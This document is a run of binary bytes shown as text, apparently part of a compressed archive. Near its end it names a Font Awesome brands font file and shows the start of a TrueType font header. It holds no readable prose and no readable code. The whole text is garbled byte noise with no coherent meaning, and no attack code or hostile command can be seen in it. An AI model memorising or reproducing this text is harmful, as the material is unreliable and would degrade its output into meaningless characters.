7 ql4k%M.0k^bɍF{R5,S5GMEZzQ饲h[i!IʋnzZUʺNpǔbb x>Mt߼e  !)’MMvq}Yty{ndJ]ޜ}3c[/-wpgq/ޮ'؂U-B C2J\q n0}E$ zZk}Syc>miF 9T*Gmö $dpH]$V}OP#h(RfgڕoqNrepdWC R]Ӕv`KOfGpsڨZaYkx>LRg Հ/ 3ыQ6 $ 4N9~U^Ino֯4҃J^ -I)kO;) ˭NU{$[>>* STt֞閻S85,n̥(xji6QZJЌw`#Z; iUEȒN&YΔ[!HqcRUO/cv@C3G[#NC枓Pч\Grr}/؉~"]]&d+ KHMAd`B,h J0iboiV5d R 'Hz?GMT\r<>uKO@)O.GE{&밇r:gQqUnXvCn6<7a;i[J(jX AWrJaoM}“ᶅO"-gs Q1f~n۟&^~U ;w@nU qGKA.'.@p4ng%|bĩ}Es"T&! Ośqhw_DB $GFи%F|*ᇫG>p gÏbWK`[8^em/ѿ0D|y"Nn:I3͏Kkfz52^LHdYQ6r;~&TP}Hb rZ#vko<|5Z]X`maD0~N?Ko]|>8³N*5(5_C^ZVĭg:)Ƽ٦FOzLØ"N)Ek\]H3!2F`rEÍ2\?J$u297B<(oBܖeK {HV95l1sѩ=Fc%.XJdr x$7\,5Ҳ+< ͕5OrSη%KVx~ r_C Q#]Ȩ4i,{;#> Bͭ6r\#"ibsC=q-doLiYuJ{/z:C/ӍJvQZj8LʿL2+#K/޼Axս3 L֋._{޻Cx<| ejKk]γ C#F&caVYe>樢ʘF}KpZjUG˷-JuIjrirpZ3g;"!C~1Dۻ[QgFʐhٔ5h =*$n[7H.ϙzTE} .wJ, iotK #߳aB9pV u/ds.jO{Žź{R_3ח:G5tJ:tN='NsJ7y;ɰ0W;*xiu_vC;êx&2ĘI;M: . `Z\y Iwl\$K '$ v!Ib3ʎpI1y7\DT˽^%#JԽ&6F21s@?}jo)EսӪ{tuOp\ <~Z%6 9v+Cj>.3\6j̘ȁ 7V}́@ -:΂'lGr 0[LCjE;h8wK8\J 㵒.N=Ƕu\IWtEIL&D`N=ӊP]U̴(9=ȄG[;;'kU?Q-0O.+QШzA4ϩXjTZ`ezF })aTܡ^x(xZ8:sk9N~|~N~vyL[`ł'oH'/&~^0S ݿn%UߏW\I(YF.ZsON vT)|_XSԢFdM|dѷQr{, a:˚K8Di\2dncƙ/ID[9t @(PI mV 0kf(=mB2(=F)qW/7K?a"eƤIx019հ{4GWQ,w < uV&JDJoo>x NSÊo׋5R W*.ePcVj GL(?um-!ۯTjw|37R:DD0uVL80T"uxfv~y7g舨 -|ԩY:wIJDlF{Pv,8:YX/b%y*s23|h% 7VF;xD.齪FYUe\dRtֳr{r6ŗpGY^SɥvЯI'}o:Pdz6.]j3C6A䛯&1Zah|/hI=@OChʜh\tC>u:E|w״Br;VBp]ލ?iس}[wn!|n$ F 耠>V Mw dTlQ̚^[GsN]}[ˎxvDRhLα#*C#998>mffvJz(r9EXڅb@`Iz6nJQ'[1<$4 P" S}x aN4)kO#F(:*Y5Iol?Pv:nOC$T[FuI؛SRe^Pl*,pXNv }]8Zf~rckVC|bVuIjMrD|U_FA*KV"&22oxf>-sLKF3<©pUDlVvl]𭢚!fm;ЦTW7Dޥ~)ͯ VcedMolk&X+lL^5?XV#z77(7~ODˣY#`X[DLe0حm)v;܍%i`<  ꡣ?/,l/(K#֧S.z>&\/+˹3)‘7k#ъ,p<>$;=$CRE~[\)O?lW{3X>[bZn,c._`l`i!Zll'X{3gbDH7+ZȜ9nP6vCfUBc#g?bCbp"/C%|o*&j0#z7EdrBFM)UؠS>EIƿ|V.i7}ӧ6y&/iwk׸7Fn1qo?H iuMK? 57-BwGH(AnG_v <`DYh8qxQ(oQSy]zBۇ܎kxG<\~&6@ߥ1OY˰cca许?#Fiik-OLQ4?4'M]A;oֆJ\|-ŏ:>YI\wz0q/6&5 ru|hRG feF scy]hB:qX~`5uX X淜,ZmrL,8žt*H;c*wPuxoN2xJs96Tվ7m$@rNh=h1-"!𱌽uQhrgMgu P!\t )G&|0G\x F}d/@ql4W%=L9H"0cL'Z:݄W*2\Vf/u LVIi%?ḱ_8 E'~͐}]?bk`ۚ |8;7G|#:7z |O+dVKv}Vhbi7DMd)Vʹi1(9&&,Jq[JQBT8#Ա#d=a9=hqnW|!O'>R__kD]#Y> $Wˉa? Ξ=x<0?9%U\ǖӑl1zKK Wdꖺl9a;WٚLg=Ѕ{7q22ׅg$ ?R\E=J SxŅE ߎ?{xFc 9Q۶X䊸1}Jɔ=u+\3՞IZ|*T'9tN3L)ЗI~wB.>^)|`,3$\Q"v8կ퐮:+msM{I=T1}W!*B/pJUEȟ⣟Tn2b B }Ƽi'U (\\i;DrvKǻWJeHp:auN͙Z RTXtJkLD-}@G{KҀÿtd֭^m_?~A%Qm'J>Ղu8su**gRւt94+W5O=H_'6UJ} Sg/ r~)N"LBiOv䰃T`wMm@(Ř5`uLap<6=g;׉>.~AޝNJvȾ-=|aSXXJʷʾJh=K,IJV K=l$'GE)( CM (Dc+Hk81jorhvH%w /'mN@M$6[d łoƊ \3Drz]UMQ Qqd`5DY=c_{}7 l2;2_);Xn}Ke;Scg$rJbdU?m힄!ƊH>J >\؏1qynNQД4n*H<0q& #^pfi@_+/aMy»78 8~ܪ] NoO$h)hr8jg DD&|'?$r:$.a9jhWVM,pr5fYMnnnPTNuXW zجꊵ~MP54U(E۵L9>]2**ˏotvyoxJR}ʔ5FY3V* T[5nݗC`2ʅ?-߿0,+ΊݪV+H@TAτ?t+gɟooRxNY0N049iC8ҟ־FJ .+ 2+Ӓ׍bz̔#UDAݭ$E`n,քV1YFS7kJn$3M7$WڡrH}?2ۥ\iWXWT7>VxK 춍q쫓ǡ/2/}8"olmšəh:)GTUS"cy3k|NJC~Va8sTwO%eǐrVeP)(ʱzC*!+z%af$hmoDnzkG]Zcg",UǙ/-&e7>ո@d6W*@ZU?p^^Z C4Ʈ^=H! un1<~\7rX4l+cI$Npau߻HTcO}K=.7W7Bzpp68##떌EEԒ9`𱝡:-cu?jG|.x6yFQTNٜ`6JUκգ@4nX5@ڤ]O Kɶcu79w9GGl6 ߾|{hJAgX%9puK*0b1`d0B {U{xTg8B3B݈h@(CI36a-',oV"C'~r{DΥsUqpŜ홺[%x`h#Rx#S̼-?Q'ZrZMO7 P^N6.us#eCo-H^;_7 QP$'I$IL^HcDR6Δ+ѳ9<_v*$; lcpBvM߱Q ԓv(Sϩ`x}y^g"}OiyvB8AHA]̓`rzgIr267 ܑy8׌oh5$FD/ozIOVGWS=x^_ c$k5@dfZ붽Z^<%e.%XR}Rb6 n#vfTYmŎFt._| )! pLJ8E4"§=sIEe<$6?GΝH3d]i''gs JYWǠCL=.y9˵fLc[G'[|>fԄyn9fPcWW,.js  JC#rW$V60u2 Wm(^ 0;>SE Y&5= uK+pt3f4Hf;*E[OrY?-Y,(^ws"HC5@ ^&R2-X3+qC Ft]pt ¿kX2U@ly}=?˫#m G~JHqEZIاT {[g2I懦9 !K8gnIUD7@W*,,ONdyQkKЙ$)CV4 Q隵q@ yexz2g&gq9w('M*M.ΘYSV߰In(DSY͸fu>[ӫyLSY> :?My=!~O)BcbC5ЯѲb%*H_NR-&s#~5B;8_W=@%7e)H..ɑ1\oCyyzZ/U>B9QMGN&|! kgD?Pπ̓'ȗ 3 Ǿ|foU2_c~S&"ŕ#;YjV7\w -()VCDL{ށ/pošOf @/9r^Wb*oESDX8~Z a*xT[hO(cv(ggYK16a웩hVIϺ\65# adRоݱoFË`]mҢny vU:WoE6ގCTZ z_GD޷g˽/Ud :BEm]w8H9l\CIfy[5`V;P3q(jeTGN3ByPI(-1iaH$ 1`\FSjT +Q[q1 iZΒƆ0=\y0V={aBUML/#Aq?`~j& e08$j/ux!`eZwhAfEͷw)Dx!GњҏxGKѠv?|4,q(P2İ%(QVvAeR+i 1X>~C):D!=O?0mш*YK?Y>VɌJ |ZhÞ#-DϵcpUo8j;Z$i8u ˍ(yinBS+Uڹ>ߕdWoք5mQ!ZO54^#ECGv85!R CkRݪmy$zy3!)GЌohR)0nalZ:_b@C 'qwXܷ|bi!77 O`kFdN-KQtN3ъsB̫Cmd ѽumV2xlψER fr%{*_>Ƕ78KhEؕp<w<,-eHShQ ^{gDmvguBַm9@ʞ`*߯p][ɴ9 ᫤}竸ٌͫ;+ıߕ˖ `B| uqYTr1uπ~ܹؒ==F;]I<^!܋33'Qccܾj>1_dn|j;P85Ypw V9͚G ûRjᢢaPvpv_S|<[ձtE<5(*̧RoLWSߵ"K[6g{fg步g"RECŚZ~:6%!^?jkl{S/]<&znEE`fQ1ͺ-1ZZl)^`M`FTz4) hqg?Y#!Z³t|44w=]9| m&^F56;%0>:wk,C!/IS׫RRnIT[ gFR!!h?~wLyv*gj)_l#fKI>.ސfooqqohԻ}9ݣׅY=lۋE_瀇t:L^ ?syQ+o} -=c//%m*k%XoqN NV2 ^QzY.Wp-u ha{~<|sy~=(0Uh23gkq__@}lGnd}}D.81.Tqov{U`n"w3yx"bOi~(wuseq *uqľ2 L_ vv=O0rݗl5,os<c*B0ơqDپ(LgG>O[] ޱ5l`>=)63׭_x]«[ jasVK)w$XX["BexΛXpyeHzO*J:9&p]~mߥSb6<.G#Jc>W.c քOEh؛ nN妜~:pGkkM!IoX危?::zn.<'9\,$i뢲< %.35IPr2&2DCs[GXS~eGIsW/Ē_H8z>?z+N.R/JDU 0<\3М!ZMQ~@a#QRzy*r@Qfe7b,yGZ{A9GtFfyȼڷOkwyC;\9w$_MF\Mrl|Uqȍ`g$l"׾0VILXeV,i#tqیez{& =$7T^0Q%t/.57=kNƝ ^Fb9v{ݤ51vu/6'ل /o t#L7.qd{wACp|y`)-?CHVͬV#3 `+s3Yܥ!KL;vtd(BN(@gb|x}}oڤLBq7YA 6>ղnMnB?kBX^l:;KsB눩Y9@[IKt\%\\4c K{3ZLR_CMa,93L:55!bFUi\G8,{hfpބP_,,Jv$x,>f:Vn/"Ǥw{q.k>j;heT\򬞟ͦ-[&h6pj giǎUȑ@$ Hٵ8ن)qk^0hrA9UH7U>4|G}۬r-lpqOV+ˆSQ;{3ƕ ~qfm7I}\ ޥ:<61D84\2u6,|zAOi|z 1@fjLQ rGW~u)9 ;^dԻ +=h\@݇:wq~=tAܚD&Ȳ^֧uHJ\B(K L}!Ӯ͊dI|V*W/)ҲB4@EMޑvtWgg/Jvߜ;xj I#4]oɥo39JX>GycJ̿Sa:Gȫk &n+O-+w\rTŪ~Шs'|O<:R 4rY(VBz1}&‘ݿ50(T" cq aaH2la8WnBT/C]1Pﻹ%1 9͛,!>ڃQpu5I_-TiA2J /]gg{T/~7C FSoC~u2! KyBf%p~ى@t^'q'/ ٿh$A`~27Kŏxys%m?ײAfJuNUtNX ]sԬYY,y~$sR?Ÿ^LR4r̉a5AH9f|?cxCgʛkIO!D7Gd&@xe-/?GD8j,QDRw.IK)ߕ'_,!~7)R@pP%f@Lq vj V4L3 c'! ܃RA[3蹹o9h\iAW.`rs_#rѸa9c"*#oO]?#wϚ4 })=aa'7N[NmǗv0ZZ]ʲtdE91׹mqƱENZzr9Bz:irwCXo77G0q]Tne5Y3Ey ¿;L SّiXc:w"(H$9H@q5n.}Pr{&0z=ab^6~˹Q 8bEMXLs&^J_yE~i l+F%_M=Z\;Y:7`= W(A{ksScaU]zS簾*pUSnm vv_'v/Ӛz3_(p7/5WM~|<}t*@? =g`?QIdBaH*IgT11GJrȇٓbnjB\;p^8CaJ%="lS0/1BCȦ 5]_ci~d°yE螢& mnBJ۟)w1 B7iB1Gu(G<4TT ҃ lB$nA7U_g[>s&{!y4^$m5 R`^Lg q7VL_;/&'L0C,g=$(qJl-4h=;-dK.b]g#iKgdT,/sD o᧷|sۆm]IY0 $i1`Expۆ7fm];; mF9EĚAP-M&Rd ;v,A iɉHi?wX)dՐu%W'T4G1iO||04@ϖrf_ʱKUAXV$OsjYbEUbAeш]g<{ KW1ǧO[+YU~'Q.t;3 ۴{S`h먬?c p_Qy_ߙhp(°VŪ0(ʢ!$6?@Z ą/oJ9[3VݵGbX.!׉o-K+lwFb*rj2U) D&jvN neya\l9g~nPW61 %І#RG5s:O ч儲@F;Uhj[ONXQ~J Z!Qa0 qxwhlP~=T*eoPX`>*a&]R +/xbݺoCx?&^:q։$FTˡqG`*5vvRp%y΍32XL$D<Ԉxښ՛v>"pNDZgP t" #bMtM2_*(a"٠N+US|sjr2C-0Ei&! +\6сA$菘n?>PF딂&X\a"5?jSDQʃ81m[kYiF  wQ&E)N.;xQ4=5[Uf(GYs<~rZ'G(glkvM( k jBSaA$=t+l m.iTp^ߘw'J+\IIS%ʒa A_yX)nxk{f6W5 qqjz'{{u{qVPpwZ텑,r^ԗї_b?1h[@!-LUOtW]'G35ju.fIBٳr"Ur D,ple. ps,&25LkX;=dutKv8"h@B]jVpM3ՍXàVex\JN?ãUHV? %;Dļam@vq)描OE ߒ^3;-`Aj`[ALf.t[9,Rg>]0]٫=ͺՆ=i7zC}ԃ>JA5䶑aJUGѥ /=z;;v[`&u0Ni6$(>hA~N;^s> vqlȱ4.c}[|_f) )wm-vG5Sjcy\b翖ު X a݋ >p$9J m% {1-qlfJU,vh4$B^xsY Ut8lԩ N@#4㦅At~u^՞BgY pm΂ꌰ]LZC %lZc;ecaJgYnw.bW-Kaǯi;p;ǃ Abb7 vm%hYShK.Ӻ?ma]j̬=.?L`PB}4'1XPtc#jn JX}Q;u :uR,JcxX.ȝExޅFa.4LN VzrK}ZYL뤜Fh9?NW k;YUZ4`},Ag-fH.rD)sD<Cl1~A>zXSC3Uェy ="QUVٿY}W*veyDC3)8NM,_(k9dbΦմh9rs)iu o>)!<T;d҉/ٝ[ͫٚ~G)aV)҉ N s#ԋDlp$jBT v/s__dp1}F{b24> y :! bs&h4mh ԄceH+K~UrF_Wa^x?Dk7wű~>F2BHe|K]5<@jq0iPgm |v--M M~|gsnYRUĢ:aVDBౣ`զOrV2-㭜{JeN1R*9ٿQ]+)l N3q:)9vmA]>=8˘%*%adlؒ VN8-tء"R?MDS =/K``Y侜.>EHB23tm^FM6XӠ.gzhԜe3F. <%}˂=I<ݸ-AfLaeY+tPL8X|k%h<>m) yϬɣ%irک?/39$痷LOOKb}_ AXsaf㛬7=UvEس&*q +a s} =,} K$g7U+}Փz=JڱNw|5?mݏ=%7J2~0w)鴓a/E6]|D.ڙ֒7ě2mn| pp5*Tcwqc茔wՅOGXpê85|r ypzzn Ob1$;ä̙d5 jIⴿfcb'6KOEZ.."`߀ l"5cf;{p bbx2B)Eȣ›g$Ooi!qjkO ~NSvąa5@rS6YS RhQ.d#I :zJPv1HABG[R^a:5hn;lVfdq'T$h[*-u[˷VZ#EX)[%(m&5; x}|e2><7C_ nC UJ/5GoaEEdF4d:yY֥[JNDYK8-ڴ/8o \85@C'u/*Nf([ݐЅ2H7;|i-W8att58;EG(RrTQ0F_Iן6$yElyu9mAιT?fV[44T eg{F~^IM.1+^}8?8OLq1}p ̚;$ϣ8G}1=%n{"I B~ȶxC#F;A<.:DnsŤ2vj6QJA++F%̋U SivHWr`Ǯ*5cb]M LywttX %{Ec[v-ϋ9RQ=oG1afUbqH1|ebcD9Zt:Dy!+֤Xhr]ɻ}ڨ 9ؙ&;XR=D֓[\Bhdi7:ox~!58@Sa[s4uxUJRͫUP35?ͅfxMQ-tۋFe ZM')nN3'HMdb j0?c/ ßQ%8qV!p`xw|,x<T} xMʠD -W$dR^*}+_J@8U"a;23Ԫ'o5x9Į,' m)=17L$_kt .֡o=5bWER_è|*B}՟<HcN\GiV6S{X^7./;\(NOVpffAjZ<kN񖞄 <3i*y񲙱$q_7}6xH~FW\X'>Xvb**.89ۿ,˺z~A#/ N_mk^ibT@z5iSq [~tΕHw:,=v%ʫ6-ѦJS<oi|.a_UUԫTs5ܓ^HyaUMr>$iqzI^zǦ4(+K4qx;˅yMn(kq[l󸐨7"͵`,_,jZ- se$gXJw-9ҿlHnRDjnK펓,Uu8U4Md{pX7I9vHhr ӍSM+R'9% %`H z 'K y U\OQ(=hlbKX•+ƒGC`}L`,<<,SI5g~ T:~oU3jkA Rk7" t5o.(_5qƾ:n[.l"; 傑KJADHj|H]-FDLM0xٝyx"PyOK$>OQ!Jr r(e"9\$6>@z*ś<+BЮ<Dç^ZJc5ݗl'es['bz.zʎ &'Ce!6d}3QYeqPl і]JK-s_: hR9,۔s1ǁՄ F+*V>=%^Fd:vD鬕 c!_x&yQ"nmTֶL&&¤(X}o['&֔v"֯]7`Zk's}s ݪ_PZ[PՊ,LVJy嫝Y ]W.s08絚 "wzV7݋`0m9'Q_\>L">}1#B i|Emm*ckr[Gn`ucp5'φYvtH<?] pЧa8rD$'dV!U*T}DHsTkxw4 -T1 Vy{~ắMqhJꊐIUK{|ވEjUT[as-_˶BO~@dc pU&5΁b ?a%Pc" 6kQ@v߽mpIM!#sE0WT.ۼ]O\6:Úl **˵$pg9.vLu$ !RBS}O &vNQ8U):hтEs|/eq|qoIkd%O "h.~LFU$eT rpPb$LnH&g>X-|ER Hte2A!h_Z QNC*#P/vC1Dl[.DŽz-ߕesr[V vݕ9ȽoC)jK"|`$(5˃buKqzȖ-=jq8 ̯Py[Y L!vͫT]M|L$hu(2x2Tpݫ)WKjsCmlƪ}KşeU(0b.պNP/=odɛ(,d>jlj}Oc~ %l_>U'Kb U;qr Y~e0*n,FVR1uGT2ŝrp!5@F3>{\q=# |"mVsGޭNykC*zhhv>kKKtt(^P^RJM& 'Kz&1O%PxHj4G wz(QP< DVΏ`/ X xoJC\PkOV`bz%ĨYSY,YuCV.}d\*X>2='E2`5l{Rr 0:-۸V|+<6zZD H S""< oە6#.[<;2;whVlR֨vp׭z{HSaTx †Xp]2׻k9 :Ț4-;!900 wX̺ޔBǬ A0{%`猴Ep\j@C&M K! /5|u?A3MҼQ--!G)K[Y\;V4X1Pl j.6pꉣ:LF6cY`y]:3=܍k2X#ԙ27|HKкf ˩(ffEX,56l߲MX5]I_:)k2BMss_%>6gÑ 1<"[S(& M*Ǥ $5D8s:] :l.+Q'%kKMa[䭇肭=;*>tc좲i, d>X6Z_rV/>TJ+ )6g]?w oZĭSȭ|ו߈| ׹&8&ckk.Ǫ0D+OOV')4b"+}j"7_Wj #o\Ml Op+}oZ0_h%_#4u>, }h6ů;ܷqqEqԄF--6p)w(yVlI 8!ӚDYCHv_B5't*g=S:`S5Qv_k nFeo9Ei[)h}ZOޛ1Ϝ'6d́Enl􆽼mg^gcj?w|!N\k8.Bc̺O"S$tMt] P&qw)1*xEE4q'@kvhW ^Mg 5kYWcTqCMcl)p&i/l\Bs!4MxMf t@mV!5QpEɬ~⥺-qbÃK'u^f 9*Yܢlk?4Tz}88%ٚݒI{lel5!+۔VpU㰴]>0xo/P4:MN촧d7ם0$Bq7E%'{MR u*(GvwqA F pGi UC0Z@"}]"F;uB3õ.JOM"1/2=Bb/6]޻@䥥C{Wt#FFoL MC1L28V?ޛR Ϣ 1ӧ~hֆ;ǿfDM(j]Ѫ5kqPta9bhi72[_S}n[Y_SQͣ2U+tO9߾C ƗuDD$Фe 9--=ln(qLw?|<3!( #rh4,cڄiQ; _EOƪn}[# =~g;ӱ6*N`Zo0>bllCPd*;xͅ?9A"oem).NVe;HC*H*"'"#FUSL? $/uR'?V v&6)h\76&$(@ qC`R魹G/ 3!8ghHt3.daHwIC(Bsb!/#iD9)F3gAd>Y01 &Ͷ?iM `&<{+#bp-O_,[5YYeA)ߦzߣj@MK4tfyj<l|\*9]-F-26<7XLL`3H+0/3瑝[$FwJ@QBÀd |" X>t!\DBSbVSm,y:'~%K+j zdZΦypW' O&i80uPeV&P$)Xj2S_Ut\Xjݨvlx˰_Wpju,짙M3Wd < JA51Nw"uowI ;Kײٌ/\:aǔ,k-Cd*GKS~?4E㧷_I P;f;=^~8m) 9^3ynL g"cZH.Yy}W|`tH0䗶ZC%:q ;uތ?"^Fƞ׷jBl$_RBT&o\M]d$B1DsH~7kEl@pBM9dȇs+TH@::AX# {굀p;l/L.{^;px )~H1 OU@?MʬORIQb1 q O'^B 䕏M[M5fjmFD/TS@e(b" } vN\Cb]"-dPzKtM=Nvw@p mұ5>ά-GRK9%o|+A&sTE%6wlI:w6h&*%C4NRSTF Pox\L߼ :mi HݟYKLIyZṽ{0x M #7=mgXdN.~a!0V<<11 Cu+V\>*rc[.}{+jߋ>t|MqԹycQU Erhl|!̹ *F!j۪P pܐet68z?v1ֹ:w鸫*z~çLb;>YYyE^'nf]Ut"73k0^>mXd!LܢS?0X 'i\ewF%LfVkGǴ& هsZR*M0YE2u@5(Fz^t+Uiпji 6ɕӬņ;726Y_lG|o,ۄOy|כx %f"âqoV!ZBd}O㒀h#rd.v!5L_:.Q )n=@VĝNm6J'N5-W\g|iE8g>dЊOw(Z(3] { =1TF]kwLyRsEԑC-ui9iTc~'Z0PA*y3r/ϻcεUZ 6"SX֢" _@qL{5lO2l7 \D>dA I#PB D܈HJ֟*d <2qr8aC%OJgh\?"@lnymh*ۏ!0D;TzC ~@`oQ*!N\H0zA+2~QqXqobHHHˈB1R&+ g<۵k[*U3ס׵)p:׋DL@4yP9?qc?|:nZ<?>~0&.BOCC7TbkfgYxY/*4|ty AuvAB=bMOh(qICԭIo 3?D}dJQ@GJ1K+ɌO "d!IW. *TFԆ7-c.&"Dzo2!jiFYT/㶚9ZsxlѾp>tNXd9Iw"r {Zc2rm8/$E" F9G >LSP"1ƹ'F7X'FGM9,@PrBgKjQB S+qB+i H܇@!/l#UDʼn.$@e'D&d3?myz 5a` C*A4z"# }Kg.K,: \zA5"'|C= ]e)ָUq$g'.7*-_U%3pʶhite!\Ips!4y)+^aڰͅZM9bUK5.).bD\tR嘬ޠTcĎ#C+k( 2կpf,0 פwV~v?cz])5 :LJfL jPj2V≒r6&0%*-t9 H+V\fXdׁl-2=iIPm1ʙYxջ#өEy |Z$\wRv)/ _ZX~{,fՍ/~&&:.F7g hAbb|q(Ap 2d_}Cd7sCw{э1}c# #,\5f=3FT44 |ڷli'oOꘒJktYgF Ҝ}~j"=CLI.5%%Gto;a_bґ"[ۧ{^ Pd8>b#;k[BDZyJ8Q"uoov*џ$L%9%yTu 6N+u9z+s':c4%789 ͡ÈJ@tڸBTG6#4+-j-D1~JI)J u AxE/$Ho!f^@-Ӡ`! s4b!03eHZ*I%L2N9a!al%s}"XDjJN,td R䒽 d2~Abmu{ ߛ7AÓzIJHlr2(-^]AamyV1J]TQm 8PqZW-XZaM̤IXTsB?ydQU~c.=#D詏h,Rd3:zx>an9s`̒zZlrVxu>|j "ZВdR2P[Q&$}~SЧOyg2_8P0UYaKosj?.$d¨B"`cS5-ԢF)Az]#L' KDd{Oǰ41/a98[ wVptM獊6w؅I](D 0 +7Ꜧ]!@C)%{o]/ϲën/.d]1;iwZ3Joq~6@ [6O}:Ca5ޭ/:AZ(3)*LfH-fdTiWtVŊ\wvzTlC{379c5y3=B4LmI79! ^.iDAӞ `!ENLY'66nN$d)v7f׃)#"O H39N)ԃ;Ir.wA\%Eӏ%}]3ۭS4d8_KOdH. 6t^]iShٮBY"c V,a߲XذBJb\EqfIŗڑk?fOE N+a]W˵Jd ̯%g Jof0]'g6)/!X{"/K|PٔI.]Umфsyy cjob^$? Y|Ē&*\8ZH̟ɼA)`~/ T@ 5& a+RVwZxE^;S U`U$o6rJ5?/mp1Nq>MȋD9*xQGG d3F-xD6m2 XZ.@I <Ȯ+[ј`XPpڢ# |J L{ioi\;WR g I7g/-)p/ Ob?(sΦ%\st'/W?S{u945Ys]m_:jatTT9oRz~;K.8["8~?~'{ I:xQgSl0x4khrUSS+/Go97xjGP %'vyuz`RYq_IbIwiKHi=}|gyfK7xI%ʨ;TH۽-;q'=\𑟄-ZnG a XCZ(<*!Y_Ko2'FSL$!L_/GÈwL8#+/Hn= v:GMgJe )#dCz?T++rcW"U¼4N Bn2͡E'bA2WUe]Ѹ)pUmPxH ijIJOzH40VzNzt ʿ+fOS9/B&Y02 ՘ LAY- %\V_2<'o]q}ԃ@XLYq QοvΜk/¤nَ1s R6SI|n&Pē̗t4-O wgVj&Uϥ]̀~Y|YL ^o\b=Ōu[is, r[yof(^dznLWn9iٌ`5^*S[y\=B(0g)+V &TFrg8%uoY;Ϸd),A\I3L3hyL%wj^~qȊzZx'܎ CH&+lAnܸqEd`pVIO 7~\ dD!|N&TT"()@gѐ"` A ECE5iĹS pgq<6nRKsўo}w֮569?Q]V~.Ɠ` X.0бI/ϼv~;S._wa@uB"El(LN5KuP* QcgorZ45 `hx%Q;:𩝶%f qr3GRx%x$突{$ ڔ73Xr 5!6^쭪9ugˠ U/X]r` Rbĝqڔ} SUt`Ϣ U{[.<1 s2 )}igx~ֈhbX(@Ќ|J<^̢X]@ه]3q&"dNV4SSfKT^^N6-o+KǁڮiNX" %Wa}1sbB1#xBz\^H9rA)xvPaR/hi~ep4`pֆo{b )e;;xWgӂw>;cF39hxjp8n?o3ҍ;G;2z ęvV?x}[ =`4HJ̔{,F%fn4 3'JvSvJ=4,[e#<]4{5rNe׋1L~_ )ƛ7 Lp ֱOu)71mG . S*9e* X?'9H /^=!;.AYDdUXAr>gh{GzB:^wTOUhs3m5NECoIY1^R-nCΪXHՋ1R=2Xnvůd5<^$KMDI79BJA( TOUVǹMm1E LL8Vwu{{L(4Zd ~?^lqntPųEζC-gO|>W@RtK_ ZF"͵#C@K{K_5&ߍsxZP\?%ȕ/R/_ ;v ,}n9}eԐ)5PТ&_=2dVaGhr/fsM9;ajr:Zxl9Fͦdd /ۺUL'|bLbr̡gQP0!Ýcg!=5'(929"LT=J=⤱.f{=wV (HPh{c`F}7?;#k<sjg]D<̩qE,hڏT`}^ZȗZ7V =;lD*j~r1wL1()&VJMOx&ׇ'%͍A~U<͉˹YF}הaVRi.Xx*n$ ,)Tq|r{oYLFy'IEVU-Z ٞhwL`۵PLccZww+A(ȜV\fFP0kdZ+h2__oUR9Jm.j.gB(+@AbEq(H@ _%)A!HB5 *,(b@+ؑr* L>q0ǐ)3dlFMᬀLdx Ůw&0kTj$rbcs 7 i曪HrW#.x _ xiBH^wcAթ^]oĮd:LYXYBO`2 !VÆ%Ak$K3xĿL.Y7X6 ƴҀrŒS?aŹB,DmN#RW 2ӀCeKm49Q}D% ҹ:@ԏ6Ӵ ZzTÿEL/ǭK_ Ev`Wfo-{+,rɛ!A1 )r@(K2BRk:h2[6r{>?B0b8AR4r J:e;a'ieU7m4/u? #($E3, $+e;a'ieU7md:/fʸJq=?8I(i~yY8y04ˋJi?Ofw8!A1 )a9^ %R\T5Z`\&'j;. #($E3, $+e;a'ieU7m4/u? #($E3, $+e;a'iK _ 3}˱J,woǒUJEd@֓hyD+GBIҙYAAx,}Z{Ϸ|}5+ ׇ zR_`ߧo57NO)S/Gzì})v?,?leʹ=R zΊ}`a&JQ+_aP7 + Zni#Yqڡj7xtlZ }@(7]laVB2ooGUȖ pb=ZGZ׻ 9WXB}Gu/4n$ ǑZ6hŅځu~3$N -Ψ\.(!ޕ S'C.lׄņ>) ?/p}S/;V*tG~ SjKd'(xOBitn\*?ޖͧQ )ϡv9X-/#mX0`$ o76o,QW^o~Uj()KPf>P\އDUikڱH"[ȭJZ>X>@/Be[S~q#?EZ~R>rBr&]Og'8d0Lw ,C}0CߵZe*} =8dLFDI@PsňΌ}c[d,5c:G՛s%WzcP}Ʌ+3Hv[F4 -f/N5m'9 W}Mq^YH^w請]2ң9:KIUaUZGSIc_Hh81dLg>>|kT>{NpCܡvr&5~c֧:fÍTn&ov]!IYrsf+l>aZ" 昑ⰤX\KT E<΀e`^ H==靴S=dRP1갆@N۱,6y~5Ty%:GX9BB6 h fDn2"ؠ֤8IO'$ Xr+QnMŬt\l%N_P bBȆTK!CЮMCiӇ_TqthͫМK߱Y߽aſX`pd4nI+'rlSl:zsچtu0ǡF)КZΜlZ^,]B2޿:a蛛DGLngלqAJ~ra~K1{%\h''kEOqe~~U : fUM`8^ذC\wĿErTŢNbi* ]o1?Zb8_QKc<_VWdJ8_^ (60g˦ҹ|FanhylSc¥L .i㽎ʕ})v|ZaV)a0鷓4b)VtVF ֵR]Fmgvh,vYf x{H?TfrYZU#GcB.NTЂJ_bvF.nvQ`2~uYn?"HTj~ӣiE.!]aiLK$|:ȨT b=R\یG9 2U5G@z'4fO/nJ(8o-8 <ݤOp:CѺ5&d,$vAl)XQ 5[䕶uvF{H rv?.6?.˕|PKZ89#fonts/fontawesome/fa-brands-400.ttfnu[ PFFTM-GDEF*OS/2BX`cmap pgaspglyf?8Thead@6hhea6$hmtx2locaB\ ^maxpO8 namewt%Hpost?j I@Ǚ`_< %,L'@LfGLfPfEdB.T:  @@  p@@ @@@ @  @@@@@@.@ @@@@ @@ @  @@Lh@@P  @ @@@@@ @@ @@ @E@ @@@ @ |`6L^knp~\u} !#1MRWY?B1]x{=B6;Zgkpsy 17:K^`mp|\hx#%MRWY ?B0]xz4?ytn8-zwhedXTQP620$ R G E D B @ > = < : 9 8 7 5 3 2 1 . - + * ) ( % $       w i h X  k i = ; U *     l kZB<x8X B@ r J  z ` .&Lz$@,D\xJlh>h$F.t!"D$H%0%&Z&'B'(*)N)|)**++,l,-2-\--0V01112\223x34F44557&7b7889j9~99:D::;B;d;<^<==^===>:>>?p?@\@AjABBCnCDE.EFXpY4ZZ4Z`\].]]^`^^__z_`a^aabbJbddeef4fffgLjk^klDllmVmpnpqHqr^rrsxttrtuđHғʕ^|6vz8j@ܝ"Th$`Ģ(j̣8fP, V*&ʰ\j¸2rH.J~H\HǤrˈ.P&BhҜӘ~Լ>\֒nז2~ڼ۴,0 |ߖN4 Vz;2#!"&54636767&#"&'&''3#"'32>54/(S5 "$- .79X)`  0!@ $:T-$2+537#54;5&#"#3#"&5463: 